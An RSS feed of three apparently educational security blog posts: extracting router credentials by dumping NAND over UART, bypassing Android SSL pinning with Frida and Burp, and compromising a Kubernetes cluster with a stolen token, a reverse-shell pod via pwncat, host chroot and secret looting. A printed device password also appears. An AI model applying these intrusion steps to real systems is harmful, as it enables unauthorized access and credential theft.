<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Manoj Deshmukh on Medium]]></title>
        <description><![CDATA[Stories by Manoj Deshmukh on Medium]]></description>
        <link>https://medium.com/@manojdeshmukh45?source=rss-d449f83fd407------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*v-LWjSHRpT_xnbdmeRYeGw.jpeg</url>
            <title>Stories by Manoj Deshmukh on Medium</title>
            <link>https://medium.com/@manojdeshmukh45?source=rss-d449f83fd407------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 12:05:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@manojdeshmukh45/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dumping NAND via UART: Extracting Secrets from Embedded Devices]]></title>
            <link>https://manojdeshmukh45.medium.com/dumping-nand-via-uart-extracting-secrets-from-embedded-devices-8b58281b2ded?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b58281b2ded</guid>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[router-security]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[cyber-seccurity]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 17:35:37 GMT</pubDate>
            <atom:updated>2025-03-27T06:53:52.135Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eT512WT_wsYghG2kBaEjEg.jpeg" /><figcaption>Router connected to Attify Badge</figcaption></figure><p><strong>Overview</strong></p><p>This blog documents my journey in hardware hacking, where I successfully accessed a router’s UART debug port, dumped NAND flash memory, and extracted credentials used for the WebUI. By leveraging tools like the Attify Badge, USB-to-TTL adapters, and software utilities like Minicom and Picocom, I was able to interact with the router’s bootloader and retrieve sensitive data.</p><p><strong>Finding the UART Port</strong></p><p>The first step was identifying the UART (Universal Asynchronous Receiver-Transmitter) debug port on the router’s PCB. Most embedded devices include a UART interface for debugging purposes. Using a multimeter and examining PCB traces, I identified TX, RX, GND, and VCC pins.</p><p><strong>How to identify the Pins</strong></p><p>Open the device and look for 4 pins marked as GND, RX, TX, and VCC.</p><p>In some cases these markings will be written, and in some cases these markings won&#39;t be there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*YlRO54TWTg62lTSA221keQ.png" /><figcaption>UART pins in devices</figcaption></figure><p>If the UART pin markings are not visible, you can use a multimeter to identify the <strong>GND, TX, and RX</strong> pins. Follow these steps:</p><p><strong>Finding GND (ground):</strong></p><ul><li>Set the multimeter to continuity mode.</li><li>Place the black probe on any of the round pins.</li><li>Touch the red probe to the metal casing of the antenna or another known ground point.</li><li>If you hear a beep, it indicates continuity—mark this pin as GND.</li><li>Repeat this process for all pins, ignoring the square pad (which is usually VCC).</li></ul><p><strong>Identifying TX and RX:</strong></p><ul><li>Set the multimeter to voltage (V) mode.</li><li>Place the black probe on the GND pin.</li><li>Touch the red probe to each remaining pin one by one.</li><li>If a pin shows a stable voltage (e.g., 3.3V or 5V) during boot, it is the TX (Transmit) pin.</li><li>If another pin shows fluctuating voltage during boot-up, it is the RX (receive) pin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvNfyXT-GeAc_oh5vDoUmg.jpeg" /><figcaption>UART pin in router, identify the ports and solder cables for connection</figcaption></figure><p><strong>Tools Used for UART Access</strong></p><p><strong>Attify Badge:</strong> A hardware tool designed for hardware security assessments, allowing easy interaction with embedded systems via UART, SPI, and I2C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*or3P9AVUzTuboJYBbF5UpQ.jpeg" /><figcaption>Attify Badge v3.1</figcaption></figure><p><strong>USB-to-TTL Adapter: </strong>An alternative method to connect to UART ports using a simple FTDI or CP2102-based adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBbvwGAbCtdALjY9BuvGfQ.jpeg" /><figcaption>USB-to-TTL Device</figcaption></figure><p>Once the pins are identified (GND, RX, TX) in your device, now take your <strong>USB-to-TTL or Atiifiy Bridge and </strong>connect <strong>GND to GND, RX to TX, and TX to RX.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*UibNmlwFdGJw_uRNKQfghQ.png" /><figcaption>Connection from Device1 to Device 2</figcaption></figure><p><strong>Minicom/Picocom: </strong>Terminal emulators used to interact with the UART serial interface.</p><p>Finding the Baud Rate for UART Communication<br>Before connecting to the router via UART, it’s crucial to determine the correct baud rate (the speed at which data is transmitted). If the wrong baud rate is used, the output will be unreadable. There are several ways to find the correct baud rate:</p><p><strong>1. Checking Manufacturer Documentation</strong><br>Some routers have publicly available datasheets or manuals specifying the default baud rate, commonly 115200, 57600, or 9600. But no luck; I have not found any related documents.</p><p><strong>2. Using a Logic Analyzer</strong><br>A logic analyser can capture UART signals and determine the baud rate by analysing the timing between pulses. Don&#39;t have one.</p><p>3. Brute-Force with baudrate.py<br>A simple script from the Attify Badge toolkit or manually cycling through common baud rates using a script like:</p><pre>#!/bin/bash<br>for baud in 9600 14400 19200 38400 57600 115200 230400 460800; do<br>    echo &quot;Trying baud rate: $baud&quot;<br>    picocom -b $baud /dev/ttyUSB0<br>done</pre><p>When I use the bud rate 115200, I get the proper readable data while the router is being booted.</p><p>Command to connect using Picocom:</p><pre>picocom -b 115200 /dev/ttyUSB0</pre><p>Command to connect using minicom:</p><pre>minicom -b 115200 -D /dev/ttyUSB0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*wTZ8xJPjmVHwt7IBiTV02Q.png" /><figcaption>Minicom Screen</figcaption></figure><p>If your baudrate is wrong, you will get the data in unreadable format.</p><p>Once the router started booting with proper baudrate, there was an issue. I thought I&#39;d get direct shell access in all routers as shown in videos, or I&#39;d need to enter the credentials to enter the shell. No, that wasn&#39;t the case; once the route was booted, it was getting stuck at this point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f2ySXvV1ZUXpL_96xEOFhQ.png" /><figcaption>Router Booting process</figcaption></figure><p>No idea what it is and went on the booting process for a day and indetified that it is using the UBoot, and there was a warning coming showing that press any key to exit the booting process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t1iNsNDtuNeVESa-nT2zJQ.png" /><figcaption>Interuo the boot to enter UBoot</figcaption></figure><p>When you hit any key, I get into UBoot (not Shell). I had gone through the online reading regarding the UBoot based on version.</p><p>The problem here is that I had limited access to commands; to list all commands, type help, so I got a list of all commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*MB6Oush4oos-ty-7OdEoyw.png" /><figcaption>UBoot help</figcaption></figure><p>based on commandsdid printenv</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ha6GZQJCx0afYbiIgrTQA.png" /><figcaption>env variables inside the UBoot</figcaption></figure><p><strong>Dumping NAND Flash</strong><br>Inside the U-boot environment, I used the available NAND commands to extract memory contents.</p><p>Based on the commands in Avilabe, I want to be able to get the firmware. I tried for days and had no hope. When I do nand info, it gives me the data, and I understand what it says.</p><pre>Device 0: nand0, sector size 128 KiB<br>Page size 2048 b<br>OOB size 64 b<br>Erase size 131072 b</pre><p>I tried to dump the entire block; the router was getting restarted.</p><p>SO Started to dump sections of NAND memory:</p><pre>nand dump 0x00000000 0x020000  # First 128KB<br>nand dump 0x00200000 0x020000  # Next segment<br>nand dump 0x00400000 0x020000<br>nand dump 0x00600000 0x020000</pre><p>When I entered these commands, for the first two I got some random data, and in the second one 25% of the data was random, and the rest was FF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*HntvGy_EwXlAFkA-5Ykxfg.png" /><figcaption>nand dump of the sector 1, where it has data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*aLhaNvyCzfJ__VfED9WQQg.png" /><figcaption>nand dump of sector 2, which has less data and rest isall empty</figcaption></figure><p>FF was there in the rest of the sectros.</p><p>Here random value means it has data; if you are getting FF, then the sectro is empty.</p><p>SO finaly I got data from 2 sectors and copied the data to my host machine and saved it into a text file using binascii. I wrote the simple code to convert it into plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnRagqgyR7V-v_XQAc5IGQ.png" /><figcaption>Data extracted from the nan dump, which contains the config details like Username and Passwords</figcaption></figure><p>What I have found in those sectors is that in the first sector the data was related to ARM instructions, and in the second sector there were credentials stores.</p><pre>BootImageNum=0x00000000<br>DownloadState=0x00000003<br>LastBooting=0x00000000<br>O7State=0x00000000<br>Image1Status=0xffffffff<br>Image0Status=0xffffffff<br>USERNAME=user<br>USERPASSWD=Web@0763<br>IsOmciUpgrading=0x00000000</pre><p>These credentials turned out to be the actual WebUI login, confirming that they were stored insecurely in the router’s firmware.</p><p><strong>Conclusion</strong></p><p>In this blog, I detailed my journey of extracting credentials from a router by identifying a UART interface, connecting via tools like the Attify Badge and USB-to-TTL converters, and dumping NAND memory using U-Boot commands. Through this process, I successfully retrieved and converted firmware data, ultimately uncovering valid credentials for the web UI.</p><p>This might not be the ultimate method, but it represents the best I could achieve in my first attempt. There’s always more to explore, and I’m eager to dive deeper into firmware analysis, memory dumping, and embedded security. The journey doesn’t end here—there’s much more to understand, and I look forward to refining my approach with every new challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b58281b2ded" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Application Pentesting—Bypass SSL Pinning]]></title>
            <link>https://manojdeshmukh45.medium.com/android-application-pentesting-bypass-ssl-pinning-8d643cb3967b?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d643cb3967b</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 07:10:14 GMT</pubDate>
            <atom:updated>2025-08-28T04:55:24.757Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFw9w7bRNoqkayyVxQ1kNA.jpeg" /></figure><h4><strong>Overview:</strong></h4><p>This article gives you an extensive view on how to perform the penetration testing on the Android application and how to install all dependencies.</p><h3><strong>What is Android Pentesting?</strong></h3><p>Android penetration testing involves assessing an application’s security by identifying vulnerabilities in its <strong>source code, binary files, and network traffic</strong>. There are two main approaches:</p><ul><li><strong>Static Analysis</strong> — Reviewing an application’s code and configuration files without executing it.</li><li><strong>Dynamic Analysis:</strong> Running the application to monitor its behaviour and interactions in real time.</li></ul><p>In this article, we will set up a dynamic testing lab using:</p><ol><li>A Rooted Android Emulator</li><li>Frida Server</li><li>Burp Suite</li></ol><h3>Step 1: Setting Up an Android Emulator Using Android Studio</h3><p>We need an Android emulator to run the target application for dynamic testing. We’ll use Android Studio to set up the emulator.</p><p>Download and install Android Studio from the official website: Android Studio. <a href="https://developer.android.com/studio">https://developer.android.com/studio</a></p><p>Once it is setup, open the android studio application, you will enter the dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNutOIoNdl6YyrwJFXxgVw.png" /><figcaption>Android Studio dashboard</figcaption></figure><p>Open Android Studio and navigate to the Virtual Device Manager by clicking More &gt; Virtual Device Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeFEqeetURXzJkjhySABeQ.png" /><figcaption>Android Studio Dasgboard with access to Virtual Device manager</figcaption></figure><p>Once inside the Virtual Device Manager, you will see a blank screen, as shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UdUcCsFkr34KiSKTgrs5ag.png" /><figcaption>Divice Manager Dashboard</figcaption></figure><p>Click the “+” icon in the top-left corner and select a device. (Example: Pixel 7a).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vW6vtr5Dm-nfoe870TywA.png" /><figcaption>Devices List for Emulator</figcaption></figure><p>Select an Android version for your emulator. (Example: Android Q (API 29)). Download the system image if required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9MqsVqze4Af0bKU0ZYCkIQ.png" /><figcaption>System Image fro Emulator</figcaption></figure><p>Name your emulator and complete the setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJh1jgTSc3tTivAVPsKF9Q.png" /><figcaption>Final Settings to Setup emulator</figcaption></figure><p>Run the emulator and verify that it boots successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aIxoPhPq-G2yP5m_Zwqf3w.png" /></figure><h3>Step 2: Rooting the Android Emulator</h3><p>Open <strong>Command Prompt</strong> and navigate to:</p><pre>cd C:\Users\&lt;your-user&gt;\AppData\Local\Android\Sdk\platform-tools</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Y7uQjMQA01Ok5VxJgH36w.png" /></figure><p>Check if the emulator is detected by running:</p><pre>adb devices</pre><p>You should see a connected device (e.g.,emulator-5554.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_05aAUIe4H_BzN1MwO9TnQ.png" /></figure><p>Download <strong>RootAVD</strong> from <a href="https://github.com/newbit1/rootAVD">GitHub</a> (works for API 30). <a href="https://github.com/newbit1/rootAVD">https://github.com/newbit1/rootAVD</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GD_9JUPGPJXzIxeRqCYtrw.png" /></figure><p>Change directory and run the following command to root your emulator:</p><pre>rootAVD.bat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s53Jg3GTuyoqSGH4DR0Ovg.png" /></figure><pre>rootAVD.bat system-images\android-30\default\x86_64\ramdisk.img</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3pcHOWJpwytD0Wk7XiIiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LD-kl-wUbczwY_x1epDdpA.png" /></figure><p>Upon reboot, you should see the <strong>Magisk</strong> app installed, confirming the device is rooted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*mjJoWLxyoz-uzLQH6up9kg.png" /></figure><p>Open <strong>Magisk</strong>, and when prompted, click <strong>OK</strong> to reboot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*lnCezwNqoAOPl-3YvOfmZw.png" /></figure><p>Once rebooted, verify root access by running:</p><pre>adb shell<br>su</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*JvU-LtfzRJXkVEdXKJtzhA.png" /></figure><p>Open <strong>Magisk</strong>, and when prompted, click <strong>Grant</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*YkXr5sxQOdAXn5FfbFL2kA.png" /></figure><p>Once rebooted, verify root access by running:</p><pre>whoami</pre><p>Output should beroot, confirming successful rooting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*w6XSVoUwq3ghIrvp0_4iGA.png" /></figure><h3>Step 3: Setting Up Burp Suite for Traffic Interception</h3><p>Open <strong>Burp Suite</strong>, navigate to <strong>Proxy Settings</strong>, and:</p><ul><li>Edit the listener to <strong>listen on all interfaces</strong>.</li><li>Ensure port <strong>8080</strong> is selected</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UTfIXPlbNnvE7BFeHHPPYw.png" /></figure><p>In the settings, edit the listener, set it to all listeners, and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xeA07LA6u3knQ2QfLVG9WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*HPizhDN_LYJ2DOf69oeTGg.png" /></figure><p>ensure that *:8080 is set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zx_Gykf-BsheiCZREAg-dg.png" /></figure><p>On the emulator, go to <strong>Wi-Fi settings</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*7fjh05zZmCgG2kiWpks-Gw.png" /></figure><p>Click <strong>Edit</strong> on your Wi-Fi network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*7tgzAuDxreJi_wGSAY-7fg.png" /></figure><ul><li>Select <strong>Manual Proxy</strong>.</li><li>Set the <strong>Proxy Hostname</strong> to your system’s <strong>IP address</strong>.</li><li>Set the <strong>Port</strong> to <strong>8080</strong>.</li><li>Click <strong>Save</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*msDnuLI6TbLf8UDHQVoWNA.png" /></figure><p>Verify the connection: Open Chrome on the emulator and navigate to</p><pre>http://burp</pre><p>Download the <strong>Burp CA Certificate</strong> ().cacert.crt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*m7Ja5D2QJXAjFYQWfIEsJA.png" /></figure><p>Go to <strong>Settings &gt; Install Certificates</strong> and installcacert.crt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*LC_Zm3mTl9zI_V9sir3kLQ.png" /></figure><p>Click on Install Certificates</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*n0sHUnU7evQmJBeqPfLS4Q.png" /></figure><p>Select cacert.crt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*fJURLLlNMiAjvF6WAjdYig.png" /></figure><p>Name the certificate and confirm the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*naAYn_kpvqvTy0wEnO9cDw.png" /></figure><p>Open Chrome and visit any HTTPS website. The page should load without errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*2FWlZf-FZOMc94Cr8kBLNA.png" /></figure><p>Go back to <strong>Burp Suite</strong> and check the <strong>HTTP request logs</strong>. You should see the captured requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8m60FEYPTfJGc8lQfn9uQ.png" /></figure><p>Your rooted Android emulator is now configured to intercept traffic using Burp Suite. You can open applications and start intercepting network traffic. However, if the APK is signed with an SSL certificate, you will need to bypass SSL pinning to capture encrypted requests.</p><h4>Step 4: Bypassing SSL Pinning with objection/Frida</h4><p><strong>Objection:</strong></p><p>Install objection pip3 install objection</p><p>If you are on a Windows machine with Android Studio installed, navigate to</p><pre>C:\Users\&lt;user&gt;\AppData\Local\Android\Sdk\platform-tools</pre><p>and run</p><pre>objection patchapk -s &lt;apk&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8A01Ylf-5fGmUj3jOe6lfw.png" /></figure><p><strong>Frida:</strong></p><p>Install Frida on Your Host Machine. Run the following command:</p><pre>pip3 install frida<br>frida --version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*RQNz3ECkGkEXuYw4QL_uow.png" /></figure><p>Ensure Frida is installed by verifying its version.</p><p>Go to GitHub <a href="https://github.com/frida/frida/releases/tag/16.6.1">Frida Releases</a> and select the version that matches the one installed on your host machine. Locate the frida-server file and download the version corresponding to your emulator&#39;s architecture (e.g., android-x86_64).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hbm8dgg5jxmoTT0T_2D5Zg.png" /></figure><p>To find the archive, go to your device manager; there it will be mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*AjbsVHfW9bBmekc4MkC-4g.png" /></figure><p>Once it is downloaded, extract the file; you should see the file <strong>frida-server-16.6.1-android-x86_64</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*s8Cj-4YKB9BLn8XY0jyZvg.png" /></figure><p>Push Frida Server to the emulator:</p><pre>adb push frida-server /data/local/tmp/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DY5GOipXaRwtzfvXwVGoMA.png" /></figure><p>Access the emulator shell</p><pre>adb shell<br>su<br>cd /data/local/tmp/<br>chmod 777 frida-server<br>./frida-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*d_JrxOxs0iPYWNKoa1TO3Q.png" /></figure><p>Change the file permissions <strong>chmod 777 frida-server</strong> and Run Frida server using &quot;./frida-server&quot;; this will run the Frida server in background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*zTErhQBgPAmUgJ5VWzzPOA.png" /></figure><p>Frida Server should now be running in the background.</p><p>Now it’s time to install the application and begin intercepting data.</p><p>Download the required APK file from APKCombo or install it directly from the Play Store.</p><pre>adb install &lt;file.apk&gt;</pre><p>If downloaded on your phone, locate it in the <strong>Downloads</strong> folder and install it manually.</p><p>Now its time to install the application and intercept the data.</p><p>Once installed, open the terminal and run the following command to find the application’s package name:</p><pre>adb shell pm list packages | findstr &quot;&lt;app name&gt;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQLkb4MuLdfjjqZfjLSQtw.png" /></figure><p>Copy the full package name for further use.</p><p>Download an <strong>SSL bypass script</strong> (ssl.js) from <a href="https://github.com/manojdeshmukh45/ssl-bypass/blob/main/ssl.js">GitHub</a>.</p><p>Run Frida with the script:</p><pre>frida -U -f &lt;package-name&gt; -l ssl.js</pre><p>Once the command is executed, the application will automatically launch in your emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToE896UEU4AHOZSUSfpxkg.png" /></figure><p>The application should launch automatically with SSL Pinning disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*Hu7V9ELQX1g1sMJC_2IvOA.png" /></figure><p>Open the target application and perform some actions. In Burp Suite, check if the HTTPS requests appear. If intercepted, SSL Pinning has been successfully bypassed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3bWO5fPz7e7oNImNA3XiUA.png" /></figure><h3>Conclusion</h3><p>You have successfully:<br>1. Set up an Android Emulator for pentesting.<br>2. Rooted the emulator using Magisk.<br>3. Configured Burp Suite to intercept traffic.<br>4. Installed and used Frida to bypass SSL Pinning.</p><p>Now, you can perform dynamic application security testing and analyse network traffic for vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d643cb3967b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ways to get into the Kubernetes cluster — Part 2]]></title>
            <link>https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-2-b08b72ee5875?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/b08b72ee5875</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[kubernetes-pentest]]></category>
            <category><![CDATA[hack-kubernetes]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Fri, 24 Nov 2023 07:22:12 GMT</pubDate>
            <atom:updated>2024-01-30T06:39:10.355Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ways to get into the Kubernetes cluster — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-aNeuAH1PvG4GceQmlFgw.jpeg" /><figcaption>Kubernetes sinking when cluster got compromised.</figcaption></figure><p>This is the second part of this blog series; find Part 1 here. <a href="https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-1-2e86c3dea123">https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-1-2e86c3dea123</a></p><p>In Part 2, we will continue to get into the Kubernetes cluster. In the previous part, we created the cluster and deleted the cluster using curl. Now we have a better way to gain access to the cluster.</p><p>In the prevos part, we got the token, and we were doing curl. Instead of that, we can use this command on your local machine.</p><p>If you are familiar with Kubernetes CLI, then you can run all commands here in CLI.</p><pre>kubectl --token &quot;$TOKEN&quot; --insecure-skip-tls-verify --server=https://&lt;ip:port&gt; &lt;Kubectl commands&gt;</pre><p>Copy the token and type <strong>TOKEN=&lt;token&gt;</strong> in your terminal. Now that the token is saved in ENV, we can run the commands.</p><pre>kubectl --token &quot;$TOKEN&quot; --insecure-skip-tls-verify --server=https://&lt;ip:port&gt; get pods</pre><p>It will give a list of pods in the cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0e7IkBBBenZ-rjObT8uFMg.png" /><figcaption>Kubernetes pods on cluster</figcaption></figure><p>Here you can R/W deployments, services, secrets, namespaces, configmaps, etc.</p><p>Check for permissions before you create a pod.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqDAXm3eAPH0YJM0SIuMbA.png" /><figcaption>Checking for permission to create pods</figcaption></figure><p>Now we will create a pod and get a reverse shell connection.</p><p>First, save the the yaml file to create a pod ( find the code in part 1)</p><p>Now open the machine where you need to get the reverse shell.</p><p>Install <a href="https://github.com/calebstewart/pwncat">https://github.com/calebstewart/pwncat</a>, pwncat is a fancy terminal for reverse shell.</p><p>Run the command to open the pwncat connection.</p><pre>pwncat-cs -lp 12345</pre><p><strong>Note: </strong>Before creating the pod, you need to run the pwncat to listen to the connection. If the connection is not listening, the pod will go to <strong>ContainerStatusUnkown, </strong>because the connection has not been established.</p><p>Now apply the yaml file and create a pod of your own.</p><pre>kubectl --token &quot;$TOKEN&quot; --insecure-skip-tls-verify --server=https://&lt;ip:port&gt;/ apply -f file.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ruGnDmD4d6MU4yY3LxLdw.png" /><figcaption>Pod containing revershell deployed</figcaption></figure><p>Now that the pod has been created, check the reverse shell connection. It will show you 1 active connection, then type <strong>CTRL+ D</strong> to get into the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXTJ7ET62EygX09V321kZg.png" /><figcaption>Reverse Shell connection recived at our end</figcaption></figure><p>Now that you are inside the pod in which you were created, you can ping the services running on the cluster, because right now you will be in the same VPC, so you will be able to see the services running.</p><p>To gain cluster access, use the volume mount vulnerability and run</p><pre>chroot /demo bash</pre><p>Here <strong>/demo</strong> is the Volumemount we add in the yaml file while creating the pod.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nuuvp4HXtzraLrcw3yoTUw.png" /><figcaption>Root access to cluster</figcaption></figure><p>You now have full access to the cluster root user.</p><p><strong>Inside the Cluster</strong></p><p>As a cluster root user, you can use your Linux skills to find all the information about the services running.</p><p>Mainly here,check for the <strong>kubectl</strong> command; if it is not there, install kubectl.</p><p>Check <strong>kubectl get pods</strong>; if the specific permissions are there, you will get pods; if not, if you have a kubeconfig file, add it manually.</p><p>You will be able to see all the pods as a cluster admin.</p><p>Using this command “kubectl — token “$TOKEN” — insecure-skip-tls-verify — server=https://&lt;ip:port&gt; get pods”, we did the same and were able to get pods, <strong>so why should we need to check in cluster?</strong></p><p>Here, as a cluster admin, you can exec all pods present; you can get inside any pod you want and check for the environment, services, source code, and many more aspects of the pod.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*fai7rCy_ZyAaPf7yONQj5g.png" /><figcaption>exec to pods</figcaption></figure><p>If you don&#39;t have full permission to cluster, if you find the service.json file anywhere in the secrets, you can write a Python script to access the cluster, or you can do a role-binding to your pod to get access to the service account.</p><p><strong>How do I check the service UI?</strong></p><ol><li>Run<strong> “kubectl get svc”</strong> find the external IP address; it might be the load balancer or Ingress running. Do the <a href="https://search.censys.io/">https://search.censys.io/</a> where it will give the DNS where you can check for the service in UI</li><li>If the external IP is not present, go with the flow below and give it a shot.</li></ol><p>Run “<strong>kubectl get svc”</strong> and check for services running;<strong> </strong>note the IP address and port number.</p><p>Install Ngrok in your local machine and port forward the service to the local host using below command</p><pre> kubectl --token &quot;$TOKEN&quot; --insecure-skip-tls-verify --server=https://&lt;ip:port&gt; -n &lt;namespace&gt; port-forward svc/&lt;service name&gt; &lt;local port Number&gt;:&lt;service port number&gt; | ngrok http &lt;port&gt;</pre><p>This command will do a portforword and will run in the local, and Ngrok will give you an external link doing port forwarding from the local host to the Ngrok server. Open the link provided by the ngork, you will get the service UI.</p><p><strong>What are the main things I’m supposed to see when getting an APi server and full access to the cluster?</strong></p><ol><li>Check for the username and password present in the Secrets</li><li>Check for Json files in the Secrets</li><li>Check for all deployment files; there might be hardcoded data there.</li><li>Check for env while you are in the pods</li><li>Check the source code.</li><li>Check the Docker containers running.</li><li>Do exec to docker containers. If you have permissions, you can get inside Docker.</li><li>Check for all data stored by the cluster root user; there might be some YAML files or some important data there.</li><li>Check for services running inside the cluster and try to see the UI.</li></ol><p><strong>Conclusion.</strong></p><p>Leaving an API open with full permission can compromise all services in the cluster. Where the attacker can see all the secrets of the service and gain cluster root access to your Kubernetes.</p><ol><li>Secure your Kubernetes in all aspects, from securing API services running on different ports.</li><li>Don&#39;t save the token in secret.</li><li>Use the RABC for namespaces.</li><li>Use Falco—Falco is a cloud-native security tool designed to detect security threats in real time.</li><li>Don&#39;t hardcode the credentials in deployments.</li><li>Secure the 